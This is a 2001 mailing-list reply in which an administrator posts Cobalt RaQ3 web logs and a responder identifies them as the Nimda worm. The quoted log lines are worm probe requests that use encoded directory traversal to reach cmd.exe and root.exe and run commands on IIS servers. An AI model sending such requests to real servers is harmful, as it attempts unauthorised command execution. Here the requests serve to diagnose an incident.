Re: [cobalt-users] RaQ3 Web Site Logs

[Marco Baurdoux <linux@xxxxxxxxxxxxx>]

NIMDA !!!!!




le 29.9.2001 14:57, Mustafa Cavcar à mcavcar@xxxxxxxxxx a écrit :

> I  have started to see following lines on some of the web site logs of my
> Cobalt RaQ3. I would like some help to know what they are.
> 
> Mustafa Cavcar
> mcavcar@xxxxxxxxxx
> 
> 66.81.76.36 - - [29/Sep/2001:05:05:37 -0400] "GET /scripts/root.exe?/c+dir
> HTTP/1.0" 302 225 "-" "-"
> 66.81.76.36 - - [29/Sep/2001:05:05:44 -0400] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 302 223 "-" "-"
> 66.81.76.36 - - [29/Sep/2001:05:05:53 -0400] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 233 "-" "-"
> 66.81.76.36 - - [29/Sep/2001:05:06:00 -0400] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 233 "-" "-"
> 66.81.76.36 - - [29/Sep/2001:05:06:07 -0400] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 249 "-" "-"
> 66.81.76.36 - - [29/Sep/2001:05:06:14 -0400] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 302 270 "-" "-"
> 66.81.76.36 - - [29/Sep/2001:05:06:18 -0400] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 302 270 "-" "-"
> 66.81.76.36 - - [29/Sep/2001:05:06:25 -0400] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> stem32/cmd.exe?/c+dir HTTP/1.0" 302 298 "-" "-"
> 66.81.76.36 - - [29/Sep/2001:05:06:31 -0400] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 250 "-" "-"
> 66.81.76.36 - - [29/Sep/2001:05:06:36 -0400] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 232 "-" "-"
> 66.81.76.36 - - [29/Sep/2001:05:06:40 -0400] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 250 "-" "-"
> 66.81.76.36 - - [29/Sep/2001:05:06:45 -0400] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 250 "-" "-"
> 66.81.76.36 - - [29/Sep/2001:05:06:50 -0400] "GET
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-"
> 66.81.76.36 - - [29/Sep/2001:05:06:55 -0400] "GET
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-"
> 66.81.76.36 - - [29/Sep/2001:05:06:59 -0400] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 249 "-"
> "-"
> 66.81.76.36 - - [29/Sep/2001:05:07:05 -0400] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 249 "-" "-"
> 
> 
> _______________________________________________
> cobalt-users mailing list
> cobalt-users@xxxxxxxxxxxxxxx
> To Subscribe or Unsubscribe, please go to:
> http://list.cobalt.com/mailman/listinfo/cobalt-users

=======================================================================

Marco Baurdoux
Unix Administrator
Infomaniak Network SA
Avenue de la Praille 26
1227 Carouge
Switzerland
Tel: +41 (0)22 820 35 41
Fax: +41 (0)22 820 35 46
http://web.infomaniak.ch

Linux/Unix is very user friendly,
it's just very picky about who its friends are !!!

=======================================================================